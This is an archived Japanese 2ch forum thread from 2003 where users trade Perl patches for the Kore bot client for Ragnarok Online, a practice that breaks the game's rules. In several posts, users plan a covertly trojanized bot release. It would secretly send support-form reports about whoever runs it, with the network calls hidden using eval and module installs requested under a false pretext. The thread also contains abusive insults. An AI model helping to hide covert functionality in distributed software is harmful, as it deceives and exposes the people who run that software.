ろBOっと 中級者スレ[Pert33]

このエントリーをはてなブックマークに追加
1ネトゲ廃人@名無し
コードの情報交換専用です
スレ違いの話題は>>2の関連スレへ誘導してあげてください

★RO Kore情報交換所 中級猿雑談スレ20★
http://game3.2ch.net/test/read.cgi/mmosaloon/1059476104/
2ネトゲ廃人@名無し:03/08/20 08:50 ID:???
2
3ネトゲ廃人@名無し:03/08/20 08:52 ID:???
3?
スレ立て乙です
4ネトゲ廃人@名無し:03/08/20 08:59 ID:???
大前提 [ At Your Own Risk ] (全て自己責任) ageた香具師は放置

Q.Koreってどこにあるんですか? / Koreうpきぼん
A.検索エンジンすら使えない香具師にKoreを扱うことはできません

Q.exe形式のKoreって罠はないんですか? / 〜においてあるKoreは罠ありですか?
A.罠だと思ったら使うな。自分で判断しろ。

Q.うまく動いてくれません、なぜでしょうか?
A.他の人間は動いてる。主人の知能を反映してる。「なぜ」じゃなくて必然

Q.最新版のKoreを〜で売ります / 買います
A.激しくスレ違い。以後放置

Q.〜をするには〜すればいいのですか?
A.そう思ったら試せばいいジャン

Q.早くうpしてよ。BOTが増えたほうが隠れ蓑にだってなるじゃん。
A.BOT増えたら相場さがるのでいいことありません。まず人の物を頼む態度から勉強すれば?

Q.コードの追加ってどうすればいいのですか?
A.お前もしかして専用ブラウザすら使えないだろ( ´,_ゝ`)プッ

「鳩に対して得意げな顔で既出のコードを解説してるお前って池沼だろ」
5ネトゲ廃人@名無し:03/08/20 08:59 ID:???
はいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはい
はいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはい
はいはいはいはいはいはいはいはいはいはい
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
ましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜 はいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはい
はいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはい
はいはいはいはいはいはいはいはいはいはい
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜 はいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはい
はいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはい
はいはいはいはいはいはいはいはいはいはい
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜 はいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはい
はいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはいはい
はいはいはいはいはいはいはいはいはいはい
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
またRO厨が糞スレ立てましたよ〜
6ネトゲ廃人@名無し:03/08/20 09:14 ID:???
徹夜でKore.plいじくりまわしてようやく動きました。
おそばせながら前スレの>>627様、本当にありがとうございました。
鳩はおとなしく鳩スレに帰ります(;´ω`)ノ
7ネトゲ廃人@名無し:03/08/20 10:37 ID:???
>>1 だからスレを乱立するなとあれほどry

8ネトゲ廃人@名無し:03/08/20 10:38 ID:???
誘導
http://game3.2ch.net/test/read.cgi/mmosaloon/1061264817/l50




  以 降 再 利 用 の 日 ま で 放 置



9ネトゲ廃人@名無し:03/08/20 14:54 ID:???
乱立しているのは認めるが、BOT系スレで一番続いているスレはここな訳で
苦情は他の駄スレ立てた香具師に言ってもらいたい
10ネトゲ廃人@名無し:03/08/20 15:59 ID:???
>>8
そこ鴨フラージュ板ですよ?
11ネトゲ廃人@名無し:03/08/20 17:27 ID:???
Secure Login. . .
Encode passwaord. . .
Tk::Error: Can't call method "Call" on an undefined value at C:\Documents and Settings\デスクトップ\kore\Kore.pl line 476.
Tk::After::once at C:/Perl/site/lib/Tk/After.pm line 83
[once,[{},after#3,100,once,[\&main::koretimes]]]
("after"script)

こうならない解決法教えて
12ネトゲ廃人@名無し:03/08/20 17:46 ID:???
>>11
なんでこのスレで聞くの?鳩スレ行けよ
13ネトゲ廃人@名無し:03/08/20 18:01 ID:???
(・∀・)<クルッポー クルッ クルッポー
訳:すいません>>11がご迷惑をおかけしました
  どうやらもう一つの中級者スレでも質問してしまったようで・・・

(・∀・)<ウッキー ウキャ ウキャホ!!
訳:ホラこっちこい帰るぞ>>11!!

【鳩】Kore鳩スレ 鳩と猿の情報交換所 3豆【猿】
http://game3.2ch.net/test/read.cgi/mmosaloon/1061294354/l50
14ネトゲ廃人@名無し:03/08/20 19:38 ID:???
>>12
鳩スレでも教えてもらえないから
15ネトゲ廃人@名無し:03/08/20 19:40 ID:???
>>11 答え出てるだろ。頭悪いだろおまえ。死んでいいよ
16ネトゲ廃人@名無し:03/08/20 19:49 ID:???
>>15
どこにあるんだよ。それを教えろ。教えられないならお前が死ね。
17ネトゲ廃人@名無し:03/08/20 19:53 ID:???
18ネトゲ廃人@名無し:03/08/20 19:58 ID:???
>>17
視覚MAPの消し方教えないと意味ないだろ
どうせ分からないんだから
19ネトゲ廃人@名無し:03/08/20 20:19 ID:???
use Net::SMTP;
sub sendMail {
my $temp = shift;
$smtp = Net::SMTP->new(
"$config{'smtpServerName'}",
Hello=>"$config{'smtpDomain'}");
$stmp->mail("$config{'fromMailAddr'}");
$stmp->to("$config{'toMailAddr'}");
$smtp->data();
$smtp->datasend("From:BOT\n");
$smtp->datasend("To:ご主人様\n");
$smtp->datasend("Subject:⊂(゚Д゚⊂⌒`つ====\n");
$smtp->datasend("$temp\n");
$smtp->dataend();
$smtp->quit;
}
config.txt(ex--------------------------------
#SMTPサーバ名(not FQDN)
smtpServerName smtp
#SMTPサーバのドメイン
smtpDomain hogehoge.com
#自分のメールアドレス(利用するSMTPサーバの)
fromMailAddr [email protected]
#メールアドレス(送信先)
toMailAddr [email protected]
2019:03/08/20 20:20 ID:???
誰もが考えつくのを書いてみた。

でもフリーのメアドしか持ってない自分は、
POPの認証部分を追加しないと動作確認とれない・・・

このサブルーチンをgetimportnatitems?の部分に入れる予定。。
どなたか検証plz
21ネトゲ廃人@名無し:03/08/20 20:34 ID:???
フリーのメールサーバあるよ
試してみたら?
ArGoSoft MailServerってのがいいと思う
昔使ってたけどPOP3対応してるよ
22ネトゲ廃人@名無し:03/08/20 20:39 ID:???
>>19
で、sendMailを利用した罠を撒く、と。



ありきたりすぎるぞ。
23ネトゲ廃人@名無し:03/08/20 20:42 ID:???
>>19
ワラタ

レア報告をメールで知らせるってのはすごい発想だな
24ネトゲ廃人@名無し:03/08/20 21:06 ID:???
・・・KOREがスタックしたときに
公式のフォームから「スタック救出」でメール送るっていうのはどうだろ


あそこなんだか暗号化セキュリティかかるっけ。
25ネトゲ廃人@名無し:03/08/20 21:21 ID:???
>>24
それ面白いな(笑
LWPとかHTML系の奴使えばいけるかもしれない
あとでいじってみるわ
2624:03/08/20 22:53 ID:???
>>25
マジでやるのか( ̄□ ̄;)

私はHTTPLiteとかNetSMTPとかWin32APIとかそのへんはぜんぜんわからないけど
面白そうだからできるならお願いしますd(=w=
27ネトゲ廃人@名無し:03/08/20 23:09 ID:???
いまテストで動かしてみたんだが、smtp->mailで引っかかるな〜。can't call
でちゃう。
それと、Net::SMTPインスコしたら、Packegeが3つ出てきたんだが、Net-SMTP_auth
はMIME-Base64入れろって言われたよ。そのままsearchしても見つからんし。

所詮は猿か・・・∧‖∧ キュ
28ネトゲ廃人@名無し:03/08/21 00:36 ID:???
もしかして・・ここはいかに華麗な罠を作るかというスレ?
29ネトゲ廃人@名無し:03/08/21 00:38 ID:???
>>28
どう使うかは開発者の発想次第ですよ
30ネトゲ廃人@名無し:03/08/21 01:12 ID:???
ある意味、中級者(っぽい振りをしてる人たち)が
雑談っぽいKOREの話題をするスレ・・・なような。

前スレではGvGだったし。
31前スレ605:03/08/21 01:40 ID:???
>>19
むか〜し、FTPを使った似た様な機能をもったものをはったことがあります
漏れはこれをつかって、無料Web鯖に自前の時給、撃墜数、記録時間などを記録した
txtを一定時間ごとにUPするというかんじにしてあります
そのため、仕事中でもホームページをチェックすればBOTが働いてるかわかると
わけで・・・・
まあ、そのときはさっぱり放置されてしまいましたが

すこしだけ話したことがあるリモート操作はこいつをつかったものです
現在は、リモートでのコンフィグの変更だけしかやってないですが・・・・・・
32ネトゲ廃人@名無し:03/08/21 02:03 ID:???
壁離れ
modifiedWalk() if ($config{'modifiedWalk'} && $ai_seq_args[0]{'index'} < @{$ai_seq_args[0]{'solution'}} - $config{'route_step'} * 2);
move($ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'x'}, $ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'y'});
----------
sub modifiedWalk {
my %temp = undef;
my %new = undef;
my %old = undef;
my $dist;
my $leaveDist;
$temp{'x'} = 0;
$temp{'y'} = 0;
$old{'x'} = $ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'x'};
$old{'y'} = $ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'y'};
for ($i = -1; $i < 2; $i++) {
for ($j = -1; $j < 2; $j++) {
next if ($i == 0 && $j == 0);
if ($field{'field'}[($old{'y'}+$i)*$field{'width'}+$old{'x'}+$j] != 0){
$temp{'x'} = $temp{'x'} - $j * 2;
$temp{'y'} = $temp{'y'} - $i * 2;
}
}
}
33ネトゲ廃人@名無し:03/08/21 02:03 ID:???
for ($i = -2; $i < 3; $i++) {
for ($j = -2; $j < 3; $j++) {
next if ($i == 0 && $j == 0);
if ($field{'field'}[($old{'y'}+$i)*$field{'width'}+$old{'x'}+$j] != 0){
$temp{'x'} = $temp{'x'} - $j;
$temp{'y'} = $temp{'y'} - $i;
}
}
}
$dist = sqrt($temp{'x'} ** 2 + $temp{'y'} ** 2);
$leaveDist = $config{'modifiedWalkDistance'} + int(rand(3) - 2);
if ($dist) {
for ($i = 1; $i <= $leaveDist && !$field{'field'}[int($old{'y'} + $temp{'y'} / $dist * $i)*$field{'width'}+int($old{'x'} + $temp{'x'} / $dist * $i)]; $i++) {
$new{'x'} = int($old{'x'} + $temp{'x'} / $dist * $i);
$new{'y'} = int($old{'y'} + $temp{'y'} / $dist * $i);
}
$ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'x'} = $new{'x'};
$ai_seq_args[0]{'solution'}[$ai_seq_args[0]{'index'}]{'y'} = $new{'y'};
}
}
----------
modifiedWalkDistance x2 + route_step > 14
イマイチ綺麗に書けないの つдT)
34名無しさん@初回限定:03/08/21 02:46 ID:???
暗号化対応させて走らせてたら
数時間でログインを永遠繰り返してる状態になるんですがこれがなんのせいでしょうか?
リログかと思ったけどコンフィグ見たらautoRestart 0になってるし…
助けて神様(;´Д`)人
35ネトゲ廃人@名無し:03/08/21 04:22 ID:???
>>34
死ね。スレ違い
36ネトゲ廃人@名無し:03/08/21 11:12 ID:???
           池沼の>>34が現れた!!

[あおる]
[放置]
[コロス]
[まんこ]
37ネトゲ廃人@名無し:03/08/21 11:12 ID:???
池沼に[あおる]攻撃!!

池沼は50のダメージを受けた、

池沼は倒れた。

池沼が仲間になりたそうな目でこちらを見ている。

どうしますか?
[殺す]
[死なす]
[舐める]
38ネトゲ廃人@名無し:03/08/21 11:13 ID:???
 [殺す]
⇒[死なす]
 [舐める]


決定 ポチットナ
39名無しさん@初回限定:03/08/21 11:39 ID:???
>>34
最初の方のコード移植してないだろ
ちゃんと移植しれ
4025:03/08/21 14:12 ID:???
ActivePerlだとHTTPSへの対応が簡単にいかないっぽい
PPMじゃSSL系のモジュール入ってくれないわ
これじゃ罠作っても鳩が動かせなくて糸冬だと思うが、どするよ?
41ネトゲ廃人@名無し:03/08/21 14:54 ID:???
うーん。暗号化セキュリティが逆につらいのですか。
しょうがないから605氏のようにFTP使って
どこかにWebスペース借りて、BOTの名前報告。
捨て垢で公式フォームからそこのアドレスを通報・・・・ってめんどくさいですね(==


あとは、確かサポート用のメールアドレスとかなかった?
どこだったか忘れたけど、そこに無理やり送る設定とかにする、かなぁ
#素直に「スタックについては公式のサポートフォームよりご連絡ください」
#って返信がきたらどうしよう・・・
4225:03/08/21 16:02 ID:???
どっかCGI使えるサーバーに踏み台CGI置けばいけるかもしれない
ただし、PerlModuleをインスコできるのが前提だけど

後の問題は、LWPとかHTTP::Requestとか使うから、そのまま書いておいたら
罠とバレバレナところかなぁ
evalって使ってたらばれると思う?

メールもいいかもしれないけど、サポートフォーラムで送ると履歴が残るじゃん?
後から本人がそこ見たときに、
「なんかスタック報告送ってるし!!」って驚くのが面白そうなんだよね
43ネトゲ廃人@名無し:03/08/21 16:28 ID:???
>>42
むしろ藻前さんがこういうところで、LWPとかHTTP::Requestとか…なんて
いうからばれるんだアフォッタレ。

お猿さんとクルックーどもには面倒だがインスコするマニュアル、exeのKore、
解説付きのConfigを与えるのが一番。

罠ってのはバレないように仕掛ける。
で、暗号化対応の一環で…とか適当なこと言ってモジュール組み込みを
要求しる。そうすれば猿以下は気づかない。
44ネトゲ廃人@名無し:03/08/21 16:37 ID:???
>>43
カエレ 屑(・∀・)
45ネトゲ廃人@名無し:03/08/21 16:39 ID:???
>>43は何もわかってないアフォッタレ
( ´,_ゝ`) 夏デスカラナ
46ネトゲ廃人@名無し:03/08/21 16:44 ID:???
>>42
eval使っても、妖しいといえば妖しいんだろうねぇ。それだけだと。
森の中に木を隠すってのはどうだろう?
47ネトゲ廃人@名無し:03/08/21 18:11 ID:???
OK
ちぃと考えてみるわ
あと、SSL系が入ってて、CGI動かせるサーバーってどっかしらないか?
48ネトゲ廃人@名無し:03/08/22 04:53 ID:???
>>47
http://php.s3.to/php/
この辺参考になりませんか?
49前スレ605:03/08/22 22:12 ID:???
あまり進行してないんで、例のFTPを行ってくれるやつでも貼っときます
UPができる環境とできない環境があるんで、使えなくても勘弁
まあ、あまり需要があるとも思えんですが・・・・・・

*******************************************
メイン。ftp.plとでも名づけてやってください。

use Net::FTP;
use Time::HiRes qw(time usleep);
my $startTime=time;
my %config;
IniRead();
FTPMain();
exit;
sub IniRead{
my $key,$value;
open FILE, "ftp.ini";
foreach (<FILE>) {
next if (/^#/);
s/[\r\n]//g;
s/\s+$//g;
($key, $value) = $_ =~ /([\s\S]*?) ([\s\S]*)$/;
$key =~ s/\s//g;
if ($key eq "") {
($key) = $_ =~ /([\s\S]*)$/;
$key =~ s/\s//g;
}
if ($key ne "") {
$config{$key} = $value;
}
50前スレ605:03/08/22 22:13 ID:???
}
close FILE;
}

#---//FTP
sub FTPMain{
my $host=$config{'HostName'};#対象ホスト
my $user=$config{'UserName'};#ユーザー名
my $pass=$config{'Pass'};#パス
my $getFile=$config{'GetFile'};#取得するファイル
my $putFile=$config{'PutFile'};#転送するファイル
my $WhileTime=$config{'PutInterval'};#ファイルを転送する間隔(秒)
my $ActiveTime=$config{'ActiveTime'};#動作時間

my $FTP;
my $fFlg=0;
while($fFlg==0){
while(!$FTP){
$FTP = Net::FTP -> new($host);
if (!$FTP) {
print "Can't connect.Wait.....\n";
sleep($WhileTime);
exit if((time-$startTime)>$ActiveTime && $ActiveTime);
}
}
$FTP -> login($user, $pass) or print("login失敗\n");
$FTP -> get($getFile);
$FTP -> delete($getFile);
$FTP -> put($putFile) or print("UL失敗\n");
$FTP -> quit;
51前スレ605:03/08/22 22:14 ID:???
undef $FTP;
print "FTP処理を行いました\n";
print "$WhileTime秒待機します\n";
sleep($WhileTime);
$fFlg=1 if((time-$startTime)>$ActiveTime);
}
}

*******************************************
FTP用コンフィグ。ファイル名ftp.iniでたのんます。

#ホスト名
HostName www.google.co.jp
#ユーザー名
UserName tekitouni
#パス
Pass tukemasu
#取得するファイル
GetFile
#転送するファイル
PutFile saraChat.txt
#ftpを行う間隔(秒)
PutInterval 900
#動作時間(秒)
ActiveTime 72000

いまさらですが、modifiedwalk3
modifiedwalk.txtっぽいものをはいてくれるやつをVBで適当に作って
動作確認しました
激しくダメなソースですが、需要あるなら、UP・・・・・するんだろうか
52ネトゲ廃人@名無し:03/08/22 23:33 ID:???
>>605
modifiedwalk3、実装はしたんですがtxt作ってない引退モノなんですが、
うちの会員に動作確認してもらいたいので、できればうpしてほc〜ですね
53ネトゲ廃人@名無し:03/08/22 23:54 ID:???
↑何言ってる不明
54ネトゲ廃人@名無し:03/08/23 01:37 ID:???
605氏乙。面白そうなので導入して使っていみるです。
私は今までkore起動してるPC自体を鯖にして
indexに各koreのGetItem.txtやchat.txtにリンク張り
出先から確認して(・∀・)ニヤニヤしておりました。
55前スレ605:03/08/23 03:45 ID:???
>>52
え〜と、書き忘れてたことが
ソース上で実行できる環境がないとつかえないです
ようは、VisualBasicがはいってないとだめと
なにぶん、イミディエイトウインドに出力結果をはくという
exeにする気まったくなしという作り方してるんで・・・・・
手を抜き過ぎかぁ

>>54
まあ、その手法のほうがいいのはたしかですんで
リアルタイムに更新されるかどうかという違いだけで
こっちのコードは形無し・・・・・
さらにVNC?だったら、本当に手も足もでないっぽ
56ネトゲ廃人@名無し:03/08/23 12:41 ID:???
>>55
VBあるんでOKですよ。
まあ、さっさと作りゃあいいジャン、って話なんだけどね・・・_| ̄|○
57ネトゲ廃人@名無し:03/08/23 12:49 ID:???
koreが認識していないMAP移動(テレポでポタルに突っ込んだ時など)
をしたときに
$field{'name'}(現在いる場所)の更新ができてないらしく
lockmapに戻ろうとする命令が実行されません
定期的に$field{'name'}を更新するコードがありましたら
講師をいただきたくお願いします
58ネトゲ廃人@名無し:03/08/23 14:54 ID:???
>>57 クレクレ〜クレクレ〜

丁寧な言葉遣いでごまかすのやめろよ、キモイ。
素直に、自分では作れないのでどなたか作ってくださいって言えよ。
59ネトゲ廃人@名無し:03/08/23 15:02 ID:???
60ネトゲ廃人@名無し:03/08/23 15:30 ID:???
自動購入・引き出しとcartAddをうまく絡めたいと考えてみたんだけど、
どうもこんがらがってしまった。誰か実装してる人いない?ヒントくれよ〜

指定アイテムが無くなって、倉庫・購入戻りしたときに指定数になるまで
何回もカートにぶち込むって機能なんだけど、どう?
61ネトゲ廃人@名無し:03/08/23 15:35 ID:???
懲りずにまたヘタレなコードを晒してみます。

&& (!$config{"useSelf_skill_$i"."_maxAggressives"} || $config{"useSelf_skill_$i"."_maxAggressives"} >= ai_getAggressives())) {
#スキル発動判定
-$ai_v{"useSelf_skill_$i"."_time"} = time;
$ai_v{'useSelf_skill'} = $config{"useSelf_skill_$i"};

================================================
62ネトゲ廃人@名無し:03/08/23 15:35 ID:???
} elsif ($switch eq "011A") {
〜中略〜
} elsif ($targetID eq $accountID) {
if ($sourceID eq $accountID) {
$targetDisplay = "yourself";
#スキル発動判定
+$i=0;
+while (1) {
+last if (!$config{"useSelf_skill_$i"});
+if ($skillsID_lut{$skillID} eq $config{"useSelf_skill_$i"}) {
+$ai_v{"useSelf_skill_$i"."_time"} = time;
+last;
+}
+$i++;
+}
} else {
$targetDisplay = "you";
〜中略〜
print "$sourceDisplay $skillsID_lut{$skillID} on $targetDisplay$extra\n";
$msg_size = 15;

スキル発動がけっこうミスってるようなので、改良を加えてみました。
多分、うまく動いているかとは思いますが、動いてねぇぞ(゚Д゚)ゴルァ!!な方が居ましたら、
書き込んでいただけるとありがたいです。
63ネトゲ廃人@名無し:03/08/23 16:30 ID:???
動いてねぇぞ(゚Д゚)ゴルァ!!
64ネトゲ廃人@名無し:03/08/23 16:37 ID:???
65ネトゲ廃人@名無し:03/08/23 18:52 ID:???
モンス振り分けのコード上手くいかないんですが・・>605氏
キレイニしたのを再UPしてくれます?
66ネトゲ廃人@名無し:03/08/23 19:01 ID:???
>>64
そんなもんか。まあ、自分で作るわ。
67ネトゲ廃人@名無し:03/08/23 19:06 ID:???
>>66
カートといえば、どこかの中級者が倉庫として機能+そこから預ける引き出す
機能をつけてるっていってたな。
そこまでの機能になると605氏みたいな中級者以上じゃないと_なんだと
思うけど、付けてみる気はないですか?>605氏
68ネトゲ廃人@名無し:03/08/23 20:09 ID:???
>>67
よく言ってる意味が分からんけど、AUTOSTORAGEの中の最後にCART ADD加えるだけでもう一度勝手にAUTOSTORAGE繰り返してくれるんじゃないのか?
69ネトゲ廃人@名無し:03/08/23 20:11 ID:???
なんかもうお前ら必死すぎ。
7067:03/08/23 20:13 ID:???
ん?いや、キャラ同士の交換ってこと。それは>>66氏のことでは?

Aを倉庫キャラに指定し、ある場所に待機(その間は露店してるっていったかな?)。
BはAに対してアイテム預ける&引き出すを行うことができる。
Aはカート重量が指定重量になったらカプラに預けに行く。
BはAが指定場所にいないときはしばらく待ってダメなら自分で処理する。

そんな機能だったと思う。
71ネトゲ廃人@名無し:03/08/23 21:02 ID:???
露店てのは、在庫が切れたらまた設定した在庫だしてくれるのか?
7262:03/08/23 21:22 ID:???
>>63
1時間ほどタイマーを使ってスキル発動を確かめて見ましたが、
どうも useSelf_skill_$i_minAggressives 1 などとしていると
きっちり動かないようです。
何はともあれ、実験に協力くだすって感謝。
73前スレ605:03/08/23 21:27 ID:???
>>56
ここの0104.zipに

kuronbo.s13.xrea.com/cgi-bin/upload.cgi

チェックボックスがついてるときにテンキーの1〜9を入力することで
はいてきます
終わったら、イミディエイトウインドからコピペで
テキストボックスの中身は編集できるんで、はかせたいところから実行することが可能
ろくに時間をかけないで作ったんで、すこぶる適当なのは勘弁

>>65
振り分けではよくわからんです
どちらにしろ、貼りなおしは基本的にはしないですが・・・・

>>67
2垢ないんで、ムリ
漏れが貼ってるコードは自分が欲しいと思って作ったものなんで
2垢以上が前提のコードはつくらないです

>>61
それだと、autoskill発動から011aパケを受け取る間までにautoskillを連打しちゃいそうな気が・・・・
まあ、せっかくなんで、漏れのもはってみます
スキルチェック+速度POTチェック+速度POT残り時間表示です
一応、ゲーム鯖移動+リログ時対応
ただし、スキル残り時間表示コード導入済みなのが条件
74前スレ605:03/08/23 21:27 ID:???
*******************************************

+if($LastAGIPot{'time'} && (time-$LastAGIPot{'time'})<1800){
+$iTemp=1800-int(time-$LastAGIPot{'time'});
+}else{
+undef $iTemp;
+}
print"-----------Status-----------\n";

*******************************************

+print "$LastAGIPot{'name'}($iTemp)\n" if($iTemp);
print"----------------------------\n";

} elsif ($switch eq "sell") {

*******************************************

+checkSkill_Item();
##########

#DEBUG CODE

*******************************************

+resetAllItemSkill();
$msg_size = 11;

} elsif ($switch eq "0075") {
75前スレ605:03/08/23 21:28 ID:???
*******************************************
鯖移動チェックが入っているなら追加

if($nowBelongServer){
if($nowBelongServer!=$belongServer{$field{'name'}}){
undef %skillsTimeout;
resetAutoSkill();
+resetAutoItem()
}
$nowBelongServer=$belongServer{$field{'name'}};
}

*******************************************

} elsif ($switch eq "0196" && length($msg) >= 9) {
+$type = unpack("S1", substr($msg, 2, 2));
+$targetID = substr($msg, 4, 4);
+$on = unpack("C1", substr($msg, 8, 1));
+if ($targetID eq $accountID) {
+if($type==0x1A){
+if($on==1){
+print "マキシマイズパワーON\n";
+$MaximizePowerMode=1;
+}elsif($on==0){
+print "マキシマイスパワーOFF\n";
+$MaximizePowerMode=0;
+}
+}
76前スレ605:03/08/23 21:29 ID:???
+if ($type == 37) {
+if ($on == 00) {
+undef %LastAGIPot;
+} elsif ($on == 01) {
+$LastAGIPot{'name'}="集中";
+$LastAGIPot{'time'}=time;
+}
+} elsif ($type == 38) {
+if ($on == 00) {
+undef %LastAGIPot;
+} elsif ($on == 01) {
+$LastAGIPot{'name'}="覚醒";
+$LastAGIPot{'time'}=time;
+}
+} elsif ($type == 39) {
+if ($on == 00) {
+undef %LastAGIPot;
+} elsif ($on == 01) {
+$LastAGIPot{'name'}="狂気";
+$LastAGIPot{'time'}=time;
+}
+}
+}
$msg_size = 9;

*******************************************
鯖移動チェック導入時に追加したものとは差し替えで
77前スレ605:03/08/23 21:30 ID:???
+sub resetAutoSkill{
+my $i=0;
+while($config{"useSelf_skill_$i"}){
+undef $ai_v{"useSelf_skill_$i"."_time"} if(time-$ai_v{"useSelf_skill_$i"."_time"}>5);
+$i++;
+}
+}
+sub resetAutoSkill2{
+my $i=0;
+my $skill=shift;
+while($config{"useSelf_skill_$i"}){
+if($config{"useSelf_skill_$i"} eq $skill){
+undef $ai_v{"useSelf_skill_$i"."_time"} if(time-$ai_v{"useSelf_skill_$i"."_time"}>5);
+last;
+}
+$i++;
+}
+}
+sub resetAutoItem{
+my $i=0;
+while($config{"useSelf_item_$i"}){
+undef $ai_v{"useSelf_item_$i"."_time"} if(time-$ai_v{"useSelf_item_$i"."_time"}>5);
+$i++;
+}
+}
78前スレ605:03/08/23 21:30 ID:???
+sub checkSkill_Item{
+my $i=0;
+if( !($LastAGIPot{'time'} && (time-$LastAGIPot{'time'})<1800) ){
+resetAutoItem();
+}
+while($config{"useSelf_skill_$i"}){
+if($ai_v{"useSelf_skill_$i"."_time"} && time-$ai_v{"useSelf_skill_$i"."_time"}>5){
+if( !$skillsTimeout{$config{"useSelf_skill_$i"}}{'time'} ||
($skillsTimeout{$config{"useSelf_skill_$i"}}{'time'} && time-$skillsTimeout{$config{"useSelf_skill_$i"}}{'time'}>$skillsTime_lut{$config{"useSelf_skill_$i"}}{$skillsTimeout{$config{"useSelf_skill_$i"}}{'lv'}}) ){
resetAutoSkill2($config{"useSelf_skill_$i"});
+}
+}
+$i++;
+}
+}
+sub resetAllItemSkill{
+resetAutoSkill();
+resetAutoItem();
+undef %LastAGIPot;
+undef %skillsTimeout;
+}

関係ないのが混じってますが、放置でたのんます
部品足りなかったらスマソ

avoidstuckですが、バグ発生中はai_route_searchStepの$CalcPath_init->Callに
渡してる値がおかしくなるっぽいです
なんでおかしくなるかは当然のごとく、まだわからんです・・・・・
79前スレ605:03/08/23 21:39 ID:???
>>60
微妙にやりたいことと違うかもしれんですが、これならどうかなぁ
自動引き出しのときにカートに指定数のアイテムをつっこみます

+storageCartGet() if($config{'storageCartGet'}==1);
sendStorageClose(\$remote_socket);
}
}

} #END OF BLOCK AUTOSTORAGE

*******************************************

+sub sendStorageCartGet {
+my $r_socket = shift;
+my $index = shift;
+my $amount = shift;
+my $msg = pack("C*", 0x28, 0x01) . pack("S*", $index) . pack("L*", $amount);
+encrypt($r_socket, $msg);
+print "Sent Storage CartGet: $index x $amount\n" if ($config{'debug'} >= 2);
+}
+sub storageCartGet{
+my ($c,$iCartAmount,$iStorageAmount,$iGetAmount,$invIndex,$iTemp);
+$c=0;
80前スレ605:03/08/23 21:40 ID:???
+while ($cart_control{"get_$c"} ne "") {
+$invIndex = findIndexString(\@{$chars[$config{'char'}]{'inventory'}}, "name", $cart_control{"get_$c"});
+$iCartAmount=$cart{'inventory'}[$invIndex]{'amount'} if ($invIndex ne "");
+#$iTemp=int($cart{'weight_max'})*$cart_control{"cartWeight_$c"}/100-int($cart{'weight'});
+#$iTemp=int($iTemp/$cart_control{"weight_$c"}) if(!$cart_control{"weight_$c"});
+$iGetAmount=$cart_control{"storageGet_$c"}-$iCartAmount;
+#$iGetAmount=$iTemp-$iCartAmount;
+next if($iGetAmount<=0);
+$invIndex = findIndexString(\@{$storage{'inventory'}}, "name",$cart_control{"get_$c"});
+next if($invIndex eq '');
+$iStorageAmount=$storage{'inventory'}[$invIndex]{'amount'};
+$iGetAmount=$iStorageAmount if($iStorageAmount<$iGetAmount);
+sendStorageCartGet(\$remote_socket, $invIndex, $iGetAmount);
+$c++;
+}
+}

*******************************************
コンフィグはこれ
+storageCartGet 1

*******************************************
cart_control.txtにはこれ。#は0〜。
+storageGet_# 1000
81ネトゲ廃人@名無し:03/08/23 21:41 ID:???
>>605
VBソースthx! 使わせて貰います。
カートのコードについては残念。暇をみて地道に作ってみることにしますわ。
8266:03/08/23 21:47 ID:???
>>79
おお〜 助かります
仰る通りちょっと違いますが(というより、分割・繰り返しが必要ポ)、
これを応用すれば、早く到達できますわ〜

どうもありがとう〜>前スレ605氏
83ネトゲ廃人@名無し:03/08/23 22:27 ID:???
できればVBなんか使わないのがあr(略
8462:03/08/23 22:51 ID:???
>>前スレ605氏
ヘタレコードが霞むようなコードをいつも晒していただき本当に感謝しています。
いつか、氏に役立つようなコードを書けると良いのですが・・・・・。
8566:03/08/24 07:04 ID:???
605氏のコードを参考にさせてもらいつつ、自動購入→カート(cart_control.txtのadd_N_maxAmountまで)
を行うコードを作ってみたんだが、煮詰まってしまった。
タイミングによってautobuyの終了判定(必要なアイテムはminAmount以上存在する)がヒットしちゃうんだよねぇ・・・
蝶戻りするわけではないので問題ないと言えば無いんだが、すっきりしないのですよ。

コードは次スレの通り。重量オーバーなどによる失敗判定はまだ入れてないデス。
既存の自動カート追加に入れたほうがいいのか?とも悩みつつ。あ、それと、既存の
カート追加はバグあったですよ。undefが入ってたら消さないと、アイテム情報が狂う。
何かいい解決方法はないだろうかと言ってみるテスツ
8666:03/08/24 07:04 ID:???
if ($ai_seq_args[0]{'index'} eq ""
|| ($ai_seq_args[0]{'lastIndex'} ne "" && $ai_seq_args[0]{'lastIndex'} == $ai_seq_args[0]{'index'}
&& timeOut(\%{$timeout{'ai_buyAuto_giveup'}}))) {
### 購入→カート補充(最大補充数はcart_control(add_N_maxAmount)に準拠)
(以下追加)
$cartAddEnd = 0;
if (!$config{'cartAddAuto_buy'} || timeOut(\%{$timeout{'ai_cartGetAuto'}})) {
$cartAddEnd = 1;
}
8766:03/08/24 07:05 ID:???
if ($config{'cartAddAuto_buy'} && $cartAddEnd) {
# 自動カート(when you have cart)
if ($chars[$config{'char'}]{'cart'} == 1) {
my $c = 0;
while ($cart_control{"add_$c"} ne "") {
